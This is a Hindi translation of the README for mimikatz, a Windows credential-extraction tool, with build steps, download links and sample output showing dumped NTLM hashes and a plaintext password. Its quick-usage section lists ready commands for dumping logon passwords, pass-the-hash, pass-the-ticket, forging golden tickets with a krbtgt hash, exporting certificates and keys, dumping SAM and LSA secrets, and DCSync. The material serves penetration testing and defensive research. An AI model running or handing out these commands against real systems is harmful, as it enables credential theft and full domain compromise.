mimikatz

mimikatz एक उपकरण है जो मैंने C सीखने और विंडोज सुरक्षा के साथ कुछ प्रयोग करने के लिए बनाया है।

यह अब स्मृति से सादा पाठ पासवर्ड, हैश, पिन कोड और केर्बरोस टिकट निकालने के लिए प्रसिद्ध है। mimikatz पास-द-हैश, पास-द-टिकट या गोल्डन टिकट बनाने का कार्य भी कर सकता है।

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

लेकिन यह सब नहीं है! क्रिप्टो, टर्मिनल सर्वर, इवेंट्स, ... गिटहब विकी https://github.com/gentilkiwi/mimikatz/wiki या https://blog.gentilkiwi.com पर बहुत सारी जानकारी (फ्रेंच में, हाँ)।

यदि आप इसे बनाना नहीं चाहते हैं, तो बाइनरी https://github.com/gentilkiwi/mimikatz/releases पर उपलब्ध हैं।

त्वरित उपयोग

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

निर्माण

mimikatz एक विज़ुअल स्टूडियो सॉल्यूशन और एक WinDDK ड्राइवर (मुख्य संचालन के लिए वैकल्पिक) के रूप में है, इसलिए पूर्वापेक्षाएँ हैं:

• mimikatz और mimilib के लिए: डेस्कटॉप के लिए विज़ुअल स्टूडियो 2010, 2012 या 2013 (डेस्कटॉप के लिए 2013 एक्सप्रेस मुफ़्त है और x86 और x64 का समर्थन करता है - http://www.microsoft.com/download/details.aspx?id=44914)
• mimikatz ड्राइवर, mimilove (और ddk2003 प्लेटफॉर्म) के लिए: विंडोज ड्राइवर किट 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800

mimikatz स्रोत नियंत्रण के लिए SVN का उपयोग करता है, लेकिन अब GIT के साथ भी उपलब्ध है! आप किसी भी टूल का उपयोग कर सकते हैं जिसे आप सिंक करना चाहते हैं, यहाँ तक कि विज़ुअल स्टूडियो 2013 में शामिल GIT भी =)

सिंक्रोनाइज़ करें!

• GIT URL है : https://github.com/gentilkiwi/mimikatz.git
• SVN URL है : https://github.com/gentilkiwi/mimikatz/trunk
• ZIP फ़ाइल है : https://github.com/gentilkiwi/mimikatz/archive/master.zip

समाधान बनाएँ

• समाधान खोलने के बाद, बिल्ड / बिल्ड सॉल्यूशन (आप आर्किटेक्चर बदल सकते हैं)
• mimikatz अब बन गया है और उपयोग के लिए तैयार है! (Win32 / x64 यहाँ तक कि ARM64 यदि आप भाग्यशाली हैं)
  • आपको _build_.cmd और mimidrv के बारे में त्रुटि MSB3073 मिल सकती है, ऐसा इसलिए है क्योंकि विंडोज ड्राइवर किट 7.1 (WinDDK) के बिना ड्राइवर नहीं बनाया जा सकता, लेकिन mimikatz और mimilib ठीक हैं।

ddk2003

इस वैकल्पिक MSBuild प्लेटफॉर्म के साथ, आप WinDDK बिल्ड टूल और डिफ़ॉल्ट msvcrt रनटाइम (छोटे बाइनरी, कोई निर्भरता नहीं) का उपयोग कर सकते हैं।

इस वैकल्पिक प्लेटफॉर्म के लिए, विंडोज ड्राइवर किट 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 और विज़ुअल स्टूडियो 2010 अनिवार्य हैं, भले ही आप बाद में विज़ुअल स्टूडियो 2012 या 2013 का उपयोग करने की योजना बना रहे हों।

निर्देशों का पालन करें:

• https://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
• https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader

सतत एकीकरण

mimikatz परियोजना AppVeyor पर उपलब्ध है - https://ci.appveyor.com/project/gentilkiwi/mimikatz

इसकी स्थिति है:

लाइसेंस

CC BY 4.0 लाइसेंस - https://creativecommons.org/licenses/by/4.0/

mimikatz को विकसित करने के लिए कॉफी की आवश्यकता है:

• PayPal: https://www.paypal.me/delpy/

लेखक

• Benjamin DELPY gentilkiwi, आप मुझसे ट्विटर (@gentilkiwi) या ईमेल (benjamin [at] gentilkiwi.com) पर संपर्क कर सकते हैं।
• lsadump मॉड्यूल में DCSync और DCShadow फ़ंक्शन Vincent LE TOUX के साथ सह-लिखे गए थे, आप उनसे ईमेल (vincent.letoux [at] gmail.com) या उनकी वेबसाइट ( http://www.mysmartlogon.com ) पर जाकर संपर्क कर सकते हैं।

यह एक व्यक्तिगत विकास है, कृपया इसके दर्शन का सम्मान करें और इसका उपयोग बुरी चीजों के लिए न करें!